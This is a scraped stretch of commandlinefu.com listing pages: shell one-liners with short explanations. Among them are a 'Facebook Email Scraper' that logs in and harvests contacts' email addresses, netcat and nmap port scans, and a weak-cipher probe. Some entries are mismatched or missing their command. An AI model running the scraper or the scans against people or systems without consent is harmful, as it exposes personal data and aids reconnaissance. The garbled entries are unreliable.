contents: 0 fonts, 1 dirs /usr/share/fonts/type1/gsfonts: caching, new cache contents: 35 fonts, 0 dirs /usr/share/X11/fonts: skipping, no such directory /usr/local/share/fonts: caching, new cache contents: 0 fonts, 0 dirs /home/gnu/.fonts: caching, new cache contents: 31 fonts, 0 dirs /usr/share/texmf/fonts/type1/public/lm: caching, new cache contents: 92 fonts, 0 dirs /usr/share/fonts/truetype/ttf-malayalam-fonts: skipping, no such directory /var/cache/fontconfig: cleaning cache directory /home/gnu/.fontconfig: cleaning cache directory fc-cache: succeeded Functions: fc-cache sudo Refresh the cache of font directory Refresh the cache of font directory , usefull after you download font (.ttf or other) from various website and you don't want to reboot or relogin . Close your word processor before using the command , after the refresh reopen your word processor , new fonts is avaible ! totem-video-thumbnailer -pg 25 in_video out_png Thumbnail created video thumbnail gallery thumbnail gallery of video using totem find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \; < rm ... /usr/x86_64-pc-linux-gnu/gcc-bin/3.4.4/gcc > ? Eliminate dead symlinks interactively in /usr/ recursevely Its not mine... I get from textlive migration in gentoo : http://www.gentoo.org/proj/en/tex/texlive-migration-guide.xml wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|en&v=1.0&q=`xsel`" |cut -d \" -f 6 Functions: cut wget translate what is in the clipboard in english and write it to the terminal Uses google api to translate, you can modify the language in which translate modifying the parameter "langpair=|en", the format is language input|language output. ls `echo $PATH | sed 's/:/ /g'` ls `echo $PATH | sed 's/:/ /g'` /bin: bash dmesg mount sh.distrib bunzip2 dnsdomainname mountpoint sleep bzcat dumpkeys mt stty bzcmp echo mt-gnu su mii-diag vpddecode mkboot vpnc mkinitramfs vpnc-connect mkinitramfs-kpkg vpnc-disconnect mklost+found vsftpd mksmbpasswd winbindd mysqld xresprobe mysqlmanager zic list all executables in your path If run in bash, this will display all executables that are in your current $PATH old='apt-get'; new="su-${old}"; command="sudo ${old}"; alias "${new}=${command}"; $( complete | sed -n "s/${old}$/${new}/p" ); alias ${new}; complete -p ${new} # at the beginning $ sudo apt-get in<tab> # gives "sudo apt-get install" (smart completion) # then su-apt-get='sudo apt-get' $ su-apt-get in<tab> # gives "su-apt-get in" (no completion) # finally with given command $ su-apt-get in<tab> # gives "su-apt-get install" (smart completion \o/) Functions: alias sed In Bash, when defining an alias, one usually loses the completion related to the function used in that alias (that completion is usually defined in /etc/bash_completion using the complete builtin). It's easy to reuse the work done for that completion in order to have smart completion for our alias. That's what is done by this command line (that's only an example but it may be very easy to reuse). Note 1 : You can use given command line in a loop "for old in apt-get apt-cache" if you want to define aliases like that for many commands. Note 2 : You can put the output of the command directly in your .bashrc file (after the ". /etc/bash_completion") to always have the alias and its completion curl -s icanhazip.com Get your external ip adress thanks to http://www.icanhazip.com wget -q http://xyz.gpg -O- | sudo apt-key add - Functions: sudo wget add a gpg key to aptitute package manager in a ubuntu system when we add a new package to a aptitude (the debian package manager) we need to add the gpg, otherwise it will show warning / error for missing key ‹ First < 75 76 77 78 79 > Last › for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1)`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > a.txt Functions: grep head perl 'jot' does not come with most *nix distros, so we need to use seq to make it work. This version tested good on Fedora 11. command -v bash it is generally advised to avoid using which(1) whenever possible. which(1) is usually a csh(1) script, or sometimes a compiled binary. It's output is highly variable from operating system to operating system, so platform independent scripts could become quite complicated with the logic. On HP-UX 10.20, for example, it prints "no bash in /path /path /path ..."; on OpenBSD 4.1, it prints "bash: Command not found."; on Debian (3.1 through 5.0 at least) and SuSE, it prints nothing at all; on Red Hat 5.2, it prints "which: no bash in (/path:/path:...)"; on Red Hat 6.2, it writes the same message, but on standard error instead of standard output; and on Gentoo, it writes something on stderr. And given all these differences, it's still variable based on your shell. This is why POSIX is king. See http://mywiki.wooledge.org/BashFAQ/081 for more ways on avoiding which(1). jhead -n%Y%m%d-%H%M%S *.jpg 09:17:50 sita-wd:jhead-test $ ls -al total 5824 -rw-r----- 1 sitaram sitaram 862814 2009-08-10 09:17 img_3140.jpg -rw-r----- 1 sitaram sitaram 659554 2009-08-10 09:17 img_3141.jpg -rw-r----- 1 sitaram sitaram 842226 2009-08-10 09:17 img_3142.jpg -rw-r----- 1 sitaram sitaram 757260 2009-08-10 09:17 img_3143.jpg -rw-r----- 1 sitaram sitaram 603396 2009-08-10 09:17 img_3144.jpg -rw-r----- 1 sitaram sitaram 756835 2009-08-10 09:17 img_3145.jpg -rw-r----- 1 sitaram sitaram 790922 2009-08-10 09:17 img_3146.jpg -rw-r----- 1 sitaram sitaram 660837 2009-08-10 09:17 img_3149.jpg 09:17:52 sita-wd:jhead-test $ jhead -n%Y%m%d-%H%M%S *.jpg img_3140.jpg --> 20060121-114040.jpg img_3141.jpg --> 20060121-114102.jpg img_3142.jpg --> 20060121-114154.jpg img_3143.jpg --> 20060121-114158.jpg img_3144.jpg --> 20060121-114202.jpg img_3145.jpg --> 20060121-114207.jpg img_3146.jpg --> 20060121-114214.jpg img_3149.jpg --> 20060121-114823.jpg 09:17:57 sita-wd:jhead-test $ ls -al -rw-r----- 1 sitaram sitaram 862814 2009-08-10 09:17 20060121-114040.jpg -rw-r----- 1 sitaram sitaram 659554 2009-08-10 09:17 20060121-114102.jpg -rw-r----- 1 sitaram sitaram 842226 2009-08-10 09:17 20060121-114154.jpg -rw-r----- 1 sitaram sitaram 757260 2009-08-10 09:17 20060121-114158.jpg -rw-r----- 1 sitaram sitaram 603396 2009-08-10 09:17 20060121-114202.jpg -rw-r----- 1 sitaram sitaram 756835 2009-08-10 09:17 20060121-114207.jpg -rw-r----- 1 sitaram sitaram 790922 2009-08-10 09:17 20060121-114214.jpg -rw-r----- 1 sitaram sitaram 660837 2009-08-10 09:17 20060121-114823.jpg 09:18:00 sita-wd:jhead-test $ Picture Renamer jhead is a very nice tool to do all sorts of things with photographs, in a batch-oriented way. It has a specific function to rename files based on dates, and the format I used above was just an example. fbemailscraper YourFBEmail Password fbemailscraper () { email="$1" ; password="$2" ; id="$(curl -m 5 --retry 1 -c /tmp/cookies -A "Opera" -Ls -d "email=$email&pass=$password&persistent=1" "https://login.facebook.com/login.php?m&next=http://m.facebook.com/profile.php" | grep -o "\&am\p\;id=.*&am\p;v=feed\&am\p;refid=17" | sed -e "s/.*profile.*id=\(.*\)\&am\p\;v=feed.*/\1/g")" ; curl -m 5 --retry 1 -b /tmp/cookies -Ls -A "Opera" "http://www.facebook.com/ajax/typeahead_friends.php?u=$id&__a=1" | tr "\"" "\n" | grep facebook | tr -d "\\\\" | sed "s/www/m/g" | awk '{print $0 "?v=info&refid=17"}' | sed "/profile.php/s/?v=info/\&v=info/g" | while read line ; do curl -m 5 --retry 1 -b /tmp/cookies -A "Opera" -Ls "$line" | tr \< "\n" | tr \> "\n" | grep "@.*\." | grep -v " " ; done ; rm /tmp/cookies ; } Facebook Email Scraper (Apparently it is too long so I put it in sample output, I hope that is OK.) Run the long command (or put it in your .bashrc) in sample output then run: Voila! Your contacts' emails will appear. Facebook seems to have gotten rid of the picture encoding of emails and replaced it with a text based version making it easy to scrape! Needs curl to run and it was made pretty quickly so there might be bugs. Show sample output | Comments (24) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` > `basename $PWD` ]]; then cd $d; break; fi; done Go to the next sibling directory in alphabetical order Sometimes you have to browse your way through a lot of sub-directories. This command cd to the next sub-directory in alphabetical order. For example, if you have the directories "lectures/01-intro", "lectures/02-basic", "lectures/03-advanced" and so on, and your PWD is "02-basic", it jumps to "03-advanced". echo "Keyword?";read keyword;query="http://www.shoutcast.com/sbin/newxml.phtml?search="$keyword"";curl -s $query |awk -F '"' 'NR <= 4 {next}NR>15{exit}{sub(/SHOUTcast.com/,"http://yp.shoutcast.com/sbin/tunein-station.pls?id="$6)}{print i++" )"$2}' 0 )friskyRadio feelin frisky? [Dance, Trance, House and Techno] - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=1745] 1 )Chillout Dreams - D I G I T A L L Y - I M P O R T E D - relax to the sounds of dream and ibiza style - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=7307] 2 )1.FM - The Chillout Lounge - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=5513] 3 )#MUSIK.LOUNGE - WWW.RAUTEMUSIK.FM - 24H CHILLOUT AMBIENT SMOOTH JAZZ DOWNTEMPO LATIN SOUL AND MORE! - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=2477] 4 )PsyChill - D I G I T A L L Y - I M P O R T E D - downtempo psychedelic dub grooves, goa ambient, and - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=9621] 5 )4CLUBBERS - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=94142] 6 )Chilltrax - The World's Chillout Channel - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=8734] 7 )Ambient - D I G I T A L L Y - I M P O R T E D - a blend of ambient, downtempo, and chillout - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=46573] 8 )ZenRadio.FM: Zen Radio (tm) - Relaxation Meditation Concentration Peace Yoga Relaxare Chillout Loung - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=2979] 9 )Mountain Chill - The Planet's Destination for Chill - [http://yp.shoutcast.com/sbin/tunein-station.pls?id=4324] Search shoutcast web radio by keyword Searches for web radio by submitted keyword and returns the station name and the link for listing . May be enhanced to read user's selection and submit it to mplayer. curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^<br/>") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }' 0.7007 Get Dollar-Euro exchage rate You can get others rates changing the "EUR/US" part. look at the url: wap.kitco.com/exrate.wml to get more options. type <filename> root@fs3:~# type nvgui nvgui is /usr/bin/nvgui root@serv:~# type rm rm is /bin/rm root@fs3:~# type alias alias is a shell builtin root@serv:~# search for a file in PATH Also searches for aliases and shell builtins ps axo rss,comm,pid | awk '{ proc_list[$2]++; proc_list[$2 "," 1] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc "," 1],proc); }}' | sort -n | tail -n 10 2472 NetworkManager 3624 getty 3888 hald 3948 nm-system-setti 3968 gdm 4012 bash 6384 sshd 14348 apache2 20560 console-kit-dae 22104 mysqld Functions: awk ps sort tail Top ten (or whatever) memory utilizing processes (with children aggregate) This command loops over all of the processes in a system and creates an associative array in awk with the process name as the key and the sum of the RSS as the value. The associative array has the effect of summing a parent process and all of it's children. It then prints the top ten processes sorted by size. find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \; Recursively Find Images, Convert to JPEGS and Delete Simple command to convert a large number of images into jpeg-format. Will delete originals after conversion. curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n Get your Tweets from the command line Gets the latest Tweets in your friends timeline from Twitter. Uses curl and xmlstarlet. mv -- -filename filename Bash: escape '-' character in filename iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination 10.1.1.123:3128 Tired of switching between proxy and no proxy? here's the solution. Replace 10.0.0.0/8 with your largest local subnet. replace 10.1.1.123:3128 with your proxy information.. Note this only works with a proxy server configured for passive setup.. Now your firefox transparently proxy's stuff destined outside your network.. and Doesn't proxy stuff inside your network. as well as all your other favorite web applications. curl, wget, aria2 ect. watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'" Shows all those processes; useful when building some massively forking script that could lead to zombies when you don't have your waitpid()'s done just right. transcode -i myvideo.avi -x mplayer="-sub myvideo.srt" -o myvideo_subtitled.avi -y xvid Print permanent subtitles on a video It prints myvideo.srt subtitle files in myvideo.avi, saving it in myvideo_subtitled.avi dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' linux-headers-2.6.28-11 linux-headers-2.6.28-11-generic linux-image-2.6.28-11-generic linux-restricted-modules-2.6.28-11-generic show installed but unused linux headers, image, or modules will show: installed linux headers, image, or modules: /^ii/!d avoiding current kernel: /'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d only application names: s/^[^ ]* [^ ]* \([^ ]*\).*/\1/ awk -F: '{print "useradd -u "$3,"-c \""$5"\"","-s "$7,$1}' passwd Input: jsnuffy:x:600:600:Joe Snuffy:/home/jsnuffy:/bin/bash hhandle:x:601:601:Harru Hoehandle:/home/hhandle:/bin/bash ssimple:x:602:602:Sally Simple:/home/ssimple:/bin/bash Output: useradd -u 600 -c "Joe Snuffy" -s /bin/bash jsnuffy useradd -u 601 -c "Harru Hoehandle" -s /bin/bash hhandle useradd -u 602 -c "Sally Simple" -s /bin/bash ssimple Create user add lines from partial passwd file Handy if you are installing a new server or recovering an old one and you have a passwd file with the accounts you want to add to the server. If you edit the file so that only the accounts that you want to add are left this line will spit out the correct useradd lines. The uid, gecos and shell will be preserved. bash -x script.sh + uname -a Linux torgerde 2.6.35-22-generic #35-Ubuntu SMP Sat Oct 16 20:45:36 UTC 2010 x86_64 GNU/Linux + whoami robert print line and execute it in BASH If script.sh contains only these two lines: $ uname -a $ whoami date +"%V" BASH one-liner to get the current week number Not as cool as the python example, but it still works. grep Mar/2009 /var/log/apache2/access.log | awk '{ print $1 }' | sort -n | uniq -c | sort -rn | head Functions: awk grep sort uniq grep apache access.log and list IP's by hits and date - sorted find . -empty -type f -delete Recursively remove 0kb files from a directory mount --bind /old/directory/path /new/directory/path Mount directories in different locations Like symlinked directories, you can mount a directory at a different location. For example mounting a directory from one location in to the http root without having to make your program follow symlinks or change permissions when reading. printf "\e[8;70;180;t" Resize a Terminal Window Replace 70 with the desired height. Replace 180 with the desired width. I put it in my bashrc, because by default my terminal is too small. update-alternatives --config java On Debian systems, choose which command provides java. Works for all alternatives listed in /etc/alternatives. cut -f 1 three-column.txt > first-column.txt Short one line while loop that outputs parameterized content from one file to another There is a common command for outputting a field or list of fields from each line in a file. Why wouldn't you just use cut? ‹ First < 76 77 78 79 80 > Last › echo {'1,2,3',4}" o'clock" ROCK Happy Days AFAIR this is the wording ;) lsof -c <process name> -r Monitoring file handles used by a particular process -r : repeat mode screen -x <screen_id> Share a screen session tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; } another tweet function This version of tweet() doesn't require you to put quotes around the body of your tweet... it also prompts you for password. It will still barf on a '!' character. qrurl() { curl -sS "http://chart.apis.google.com/chart?chs=200x200&cht=qr&chld=H|0&chl=$1" -o - | display -filter point -resize 600x600 png:-; } like 7300, but doesn't clutter your working directory with old qr.*.png files. This will get the QR barcode, and send it right into ImageMagick's 'display' tool. Usage is the same as 7300; just call this function followed by the URL: ps auxw | grep sbin/apache | awk '{print"-p " $2}' | xargs strace ps auxw | grep sbin/apache | awk '{print"-p " $2}' | xargs strace Process 7313 attached - interrupt to quit Process 7395 attached - interrupt to quit Process 7396 attached - interrupt to quit Process 7397 attached - interrupt to quit Process 7398 attached - interrupt to quit Process 7399 attached - interrupt to quit Process 7401 attached - interrupt to quit Process 7403 attached - interrupt to quit Process 7448 attached - interrupt to quit Process 7468 attached - interrupt to quit Process 7469 attached - interrupt to quit attach: ptrace(PTRACE_ATTACH, ...): No such process [pid 7313] select(0, NULL, NULL, NULL, {0, 48000} <unfinished ...> [pid 7395] poll([{fd=11, events=POLLIN}, {fd=10, events=POLLIN}, {fd=9, events=POLLIN}, {fd=8, events=POLLIN}, {fd=7, events=POLLIN}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}, {fd=4, events=POLLIN}, {fd=85, events=POLLIN}, {fd=19, events=POLLIN}], 10, -1 <unfinished ...> [pid 7396] semop(1572864, {{0, -1, SEM_UNDO}}, 1 <unfinished ...> [pid 7397] semop(1572864, {{0, -1, SEM_UNDO}}, 1 <unfinished ...> [pid 7398] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1 <unfinished ...> [pid 7399] semop(1572864, {{0, -1, SEM_UNDO}}, 1 <unfinished ...> [pid 7401] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1 <unfinished ...> [pid 7403] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1 <unfinished ...> [pid 7448] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1 <unfinished ...> [pid 7468] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1 <unfinished ...> [pid 7469] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1 <unfinished ...> [pid 7313] <... select resumed> ) = 0 (Timeout) [pid 7313] gettimeofday({1300139401, 36665}, NULL) = 0 [pid 7313] waitpid(-1, 0xffdc0a68, WNOHANG|WSTOPPED) = 0 [pid 7313] select(0, NULL, NULL, NULL, {1, 0}) = 0 (Timeout) [pid 7313] gettimeofday({1300139402, 39688}, NULL) = 0 [pid 7313] select(0, NULL, NULL, NULL, {1, 0} <unfinished ...> Process 7313 detached Process 7395 detached Process 7396 detached Process 7397 detached Process 7398 detached Process 7399 detached Process 7401 detached Process 7403 detached Process 7448 detached Process 7468 detached Process 7469 detached Functions: awk grep ps xargs easily strace all your apache processes This one-liner will use strace to attach to all of the currently running apache processes output and piped from the initial "ps auxw" command into some awk. dlocate [ package | string ] Find a file's package or list a package's contents. This is the fastest method to search the Debian package database. Requires the dlocate package. The dlocate db updates periodically, but you may force an update with # dlocate-update mpg123 `curl -s http://blip.fm/all | sed -e 's#"#\n#g' | grep mp3$ | xargs` Functions: grep mpg123 sed Play random music from blip.fm cat ~/.ssh/id_rsa.pub | ssh <REMOTE> "(cat > tmp.pubkey ; mkdir -p .ssh ; touch .ssh/authorized_keys ; sed -i.bak -e '/$(awk '{print $NF}' ~/.ssh/id_rsa.pub)/d' .ssh/authorized_keys; cat tmp.pubkey >> .ssh/authorized_keys; rm tmp.pubkey)" This one is a bit more robust -- the remote machine may not have an .ssh directory, and it may not have an authorized_keys file, but if it does already, and you want to replace your ssh public key for some reason, this will work in that case as well, without duplicating the entry. unrar p -inul foo.rar|mplayer - On-the-fly unrar movie in .rar archive and play it, does also work on part archives. smbpasswd -r <domain-server> -U <user name> Change Windows Domain password from Linux If you use Linux in a Windows domain and there are N days to expiry, this is how you can change it without resorting to a windows machine. gofuckanalytics() { echo "DELETE FROM moz_cookies WHERE name LIKE '__utm%';" | sqlite3 $( find ~/.mozilla -name cookies.sqlite ) } Tell Analytics to fuck itself. See http://code.google.com/apis/analytics/docs/concepts/gaConceptsCookies.html if you are unclear about the Google Analytics cookie system. If Firefox is your daily browser, be a good Orwellian and run this command regularly. If you see, 'SQL error near line 1: database is locked', close Firefox and run again. to() { eval dir=\$$1; cd "$dir"; } Functions: cd eval Quick directory bookmarks Set a bookmark as normal shell variable p=/cumbersome/path/to/project To go there to p This saves one "$" and is faster to type ;-) The variable is still useful as such: vim $p/<TAB> will expand the variable (at least in bash) and show a list of files to edit. If setting the bookmarks is too much typing you could add another function bm() { eval $1=$(pwd); } then bookmark the current directory with bm p sudo lsof -i :<port> > sudo lsof -i :22 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME List all process running a specfic port lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo Instead of calculating the offset and providing an offset option to mount, let lomount do the job for you by just providing the partition number you would like to loop mount. abiword --to=html file.doc --exp-props= Use AbiWord to generate a clean HTML document from a Microsoft Word document. Credit goes to @Porges from http://stackoverflow.com/questions/67964/what-is-the-best-free-way-to-clean-up-word-html. nc -v -n -z -w 1 127.0.0.1 22-1000 netcat as a portscanner ffmpeg -f alsa -r 16000 -i hw:2,0 -f video4linux2 -s 800x600 -i /dev/video0 -r 30 -f avi -vcodec mpeg4 -vtag xvid -sameq -acodec libmp3lame -ab 96k output.avi Record audio and video from webcam using ffmpeg Record from a webcam, audio using ALSA encoded as MP3, video as MPEG-4. arping 192.168.1.2 ARPING 192.168.1.2 from 192.168.1.3 eth0 Unicast reply from 192.168.1.2 [0B:DE:36:AF:C1:C8] 0.968ms arping sends ARP requests to a neighboring host. This won't work if there is an ARP subnet gateway in the middle. If there is, you'll just get the gateway's MAC address not the host's address you are really trying to get to. (ls; mkdir subdir; echo subdir) | xargs mv Functions: echo mkdir xargs Create subdirectory and move files into it With this form you dont need to cut out target directory using grep/sed/etc. find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn >find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn Functions: cut find sort uniq Count the total number of files in each immediate subdirectory counts the total (recursive) number of files in the immediate (depth 1) subdirectories as well as the current one and displays them sorted. Fixed, as per ashawley's comment kill -0 [pid] Check if a process is running Send signal 0 to the process. The return status ($?) can be used to determine if the process is running. 0 if it is, non-zero otherwise. tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc Functions: c++ tar command to decrypt: openssl enc -aes-256-cbc -d < secret.tar.enc | tar x Of course, don't forget to rm the original files ;) You may also want to look at the openssl docs for more options. find . -name "*.[ch]" | xargs grep "TODO" tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k Generate a binary file with all ones (0xff) in it This is similar to how you would generate a file with all zeros dd if=/dev/zero of=allzeros bs=1024 count=2k ‹ First < 77 78 79 80 81 > Last › ls -Xp | grep -Eo "\.[^/]+$" | sort | uniq .jpeg .tar.gz .txt Functions: grep ls sort Works on current directory, with built-in sorting. ldapsearch -v -H ldap://<server> -x -D cn=<johndoe>,cn=<users>,dc=<ourdomain>,dc=<tld> -w<secret> -b ou=<lazystaff>,dc=<ourdomain>,dc=<tld> -s sub sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e' badPasswordTime: DATE-AD(Mon Apr 6 20:53:42 2009) lastLogon: DATE-AD(Mon Apr 6 20:55:07 2009) pwdLastSet: DATE-AD(Tue Mar 24 12:53:42 2009) accountExpires: DATE-AD(Sun Nov 1 00:00:00 2009) decoding Active Directory date format When Ldapsearch queries an Active directory server, all the dates are shown using a timestamp of 18 digits. This perl regexp decodes them in a more human friendly notation. 11644473600 corresponds to some microsoft epoch. count() { find $@ -type f -exec cat {} + | wc -l; } Functions: cat find wc Function that counts recursively number of lines of all files in specified folders [[ "$WINDOW" ]] && PS1="\u@\h:\w[$WINDOW]\$ " ion@atomos:~[2]$ Add this to your $HOME/.bashrc file. It will only set this prompt if it is running inside screen ($WINDOW var is set) Looks like this... ion@atomos:~[2]$ tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz 59.7kB 0:00:00 [ 223MB/s] [===========================================>] 100% Command line progress bar This command tar?s up a directory and sends the output to gzip, showing a rate of 223MB/s. This may require you installing the pv command. For debian based users out there: sudo aptitude install pv multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info Watch several log files in a single window It works like a "tail -f" on several files. Use the number keys 0-9 to set a baseline in the numbered window. Pressing "b" let you scroll back in one of the windows. thumbnail() { ffmpeg -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s 640x272 ${i%.*}.jpg } Create a thumbnail from a video file cat -n sed -n 's/.*<foo>\([^<]*\)<\/foo>.*/\1/p' Simple XML tag extract with sed Limited, but useful construct to extract text embedded in XML tags. This will only work if bar is all on one line. If nobody posts an alternative for the multiline sed version, I'll figure it out later... ( ( while [ 2000 -ge "$(free -m | awk '/buffers.cache:/ {print $4}')" ] || [ $(echo "$(uptime | awk '{print $10}' | sed -e 's/,$//' -e 's/,/./') >= $(grep -c ^processor /proc/cpuinfo)" | bc) -eq 1 ]; do sleep 10; done; my-command > output.txt ) & ) delay execution of a command that needs lots of memory and CPU time until the resources are available [ 2000 -ge "$(free -m | awk '/buffers.cache:/ {print $4}')" ] returns true if less than 2000 MB of RAM are available, so adjust this number to your needs. [ $(echo "$(uptime | awk '{print $10}' | sed -e 's/,$//' -e 's/,/./') >= $(grep -c ^processor /proc/cpuinfo)" | bc) -eq 1 ] returns true if the current machine load is at least equal to the number of CPUs. If either of the tests returns true we wait 10 seconds and check again. If both tests return false, i.e. 2GB are available and machine load falls below number of CPUs, we start our command and save it's output in a text file. The ( ( ... ) & ) construct lets the command run in background even if we log out. See http://www.commandlinefu.com/commands/view/3115/ . openssl s_client -connect [host]:[sslport] -cipher LOW Test for Weak SSL Ciphers ...if you get a certificate back, the server is accepting weak SSL ciphers notifyme -C `cat /etc/passwd | cut -d: -f1` root from :0.0 arrived! Notify me when users log in Notifyme is a program that listen in background for users login, and report on login and logout. Users can be specified from a list or in a ~/notify.rc file. -C options force to display messages on the center of the screen.See man notifyme for more details. Part of notifyme package, tested on Debian. put current directory in LAN quickly This works on all versions of python 2.X. Tested on Linux and bundled python versions on Mac OSX and Solaris / UNIX Note: Serves globally on port 8000. Ctrl+c to stop. git reflog show | grep '}: commit' | nl | sort -nr | nl | sort -nr | cut --fields=1,3 | sed s/commit://g | sed -e 's/HEAD*@{[0-9]*}://g' Functions: cut grep nl sed sort show git commit history diff <(sort file1.txt) <(sort file2.txt) diff two sorted files Sees if two records differ in their entries, irrespective of order. mencoder infile.wmv -ofps 23.976 -ovc lavc -oac copy -o outfile.avi Convert wmv into avi <ESC> v or ctrl-x ctrl-e /tmp/bash-fc-3778699542 Next time you are using your shell, try typing ctrl-x ctrl-e # in emacs mode <ESC> v # in vi mode The shell will take what you've written on the command line thus far and paste it into the editor specified by $EDITOR. Then you can edit at leisure using all the powerful macros and commands of vi, emacs, nano, or whatever. nmap -p 80 hostname for udp nmap -sU -p 80 hostname ntpq -p WORKING EXAMPLE: ============================================================================== Synchronized with *time server NOT WORKING EXAMPLE: 3rd column (stratum) is 16: not synchronizing Verify if ntpd is working properly Used to verify if Network Time Protocol daemon is working properly. find . -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {} </path> @mariusz : find shorter alternative Functions: cp find xargs Find and copy scattered mp3 files into one directory No problem with word splitting. That should works on many Unix likes. quietly() { "$@" |&:; } Suppress output of loud commands you don't want to hear from find . -depth -type d -exec du -s {} \; | sort -k1nr Functions: du find sort Size(k) of directories(Biggest first) somewhat faster version to see the size of our directories. Size will be in Kilo Bytes. to view smallest first change '-k1nr' to '-k1n'. newest () { find ${1:-\.} -type f |xargs ls -lrt ; } A function to find the newest file in a directory history | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head $ cat test 1 command file | command file | command | command 2 command <(command file) <(command file) 3 command file > file 4 for i in `command file`; do command file; command file; done | command 5 for i in $(command file); do command file; command file | command; done $ cat test | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head Functions: perl sort uniq most used commands in history (comprehensive) Most of the "most used commands" approaches does not consider pipes and other complexities. This approach considers pipes, process substitution by backticks or $() and multiple commands separated by ; Perl regular expression breaks up each line using | or < ( or ; or ` or $( and picks the first word (excluding "do" in case of for loops) note: if you are using lots of perl one-liners, the perl commands will be counted as well in this approach, since semicolon is used as a separator lsof|grep /somemount/| awk '{print $2}'|xargs kill lsof|grep /data/| awk '{print $2}'|xargs kill kill 1635: No such process kill all processes using a directory/file/etc This command will kill all processes using a directory. It's quick and dirty. One may also use a -9 with kill in case regular kill doesn't work. This is useful if one needs to umount a directory. ‹ First < 78 79 80 81 82 > Last › who -r [root@puzznic ~ ]# who -r -OR- [root@hotmail]# who -r Print current runlevel Prints current runlevel and system start time. On older systems it also shows the last init state. Pretty useful on remote systems, pretty useless on local ones :) yes "echo -ne '\r'\`date\`;sleep 1" | sh Lookup your own IPv4 address pkill -9 search_criteria kill some pids without specific pid pgrep, pkill - look up or signal processes based on name and other attributes cp -r * .??* /dest Copy all files, including hidden files, recursively without traversing backward You could do the following, however, brace expansion with {} is not defined in POSIX, and therefore not guaranteed to work in all shells. But, if it does, it's more convenient (although it's certainly not less typing): cp -r {*,.??*} /dest Sometimes there are times when I need to cp(1), mv(1) or rm(1) files recursively, but don't want to traverse the previous directory by following ../../../../ etc out of the current directory. This command prevents that. The secret sauce is ".??*". The file globbing ensures that it must start with a dot, and be followed by at least two characters. So, three characters must exist in the filename, which eliminates "." and "..". shuf SOMEFILE shuf is in the coreutils package for i in ???.jpg; do mv $i $(printf %04d $(basename $i .jpg) ).jpg ; done mv 799.jpg 0799.jpg mv 800.jpg 0800.jpg mv 801.jpg 0801.jpg mv 802.jpg 0802.jpg mv 803.jpg 0803.jpg Functions: basename mv printf Rename all (jpg) files written as 3 number in 4 numbers. Useful if you have a list of images called 1 2 3 4 and so on, you can adapt it to rewrite it as 4 (in this example) 0-padded number. seq -s "+" 3 | bc Calculate sum of N numbers (Thanks to flatcap) replaces "\n" with "+" :split <file> Load another file in vim You can then switch from a file to another with ^W^W bash -x SCRIPT + start-stop-daemon -k 002 -S -p/var/run/jetty.pid -c jetty -d /usr/share/jetty6 -b -m -a /usr/lib/jvm/java-1.5.0-sun/bin/java -- -DSTART=/usr/share/jetty6/etc/start.config -Xmx256m -Djava.awt.headless=true -DDEBUG -Djetty.port=8070 -Xms512m -Xmx2048m -XX:PermSize=384m -XX:MaxPermSize=512m -Djetty.home=/usr/share/jetty6 -Djava.io.tmpdir=/var/cache/jetty6 -jar /usr/share/jetty6/start.jar 